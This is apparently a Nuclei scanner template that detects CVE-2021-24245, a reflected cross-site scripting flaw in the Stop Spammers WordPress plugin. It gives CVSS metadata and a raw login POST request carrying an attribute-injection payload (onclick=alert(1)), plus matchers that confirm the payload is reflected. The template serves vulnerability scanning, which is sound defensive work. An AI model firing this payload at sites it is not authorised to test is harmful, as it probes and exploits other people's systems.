id: CVE-2021-24245

info:
  name: WordPress Plugin Stop Spammers 2021.8 - Reflected XSS
  author: edoardottt
  severity: medium
  description: The Stop Spammers WordPress plugin before 2021.9 did not escape user input when blocking requests (such as matching a spam word), outputting it in an attribute after sanitising it to remove HTML tags, which is not sufficient and lead to a reflected Cross-Site Scripting issue.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24245
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24245
    - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24245
    cwe-id: CWE-79
  tags: cve,cve2021,wordpress,xss,wp-plugin

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check;

        log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "ad\" accesskey=X onclick=alert(1)"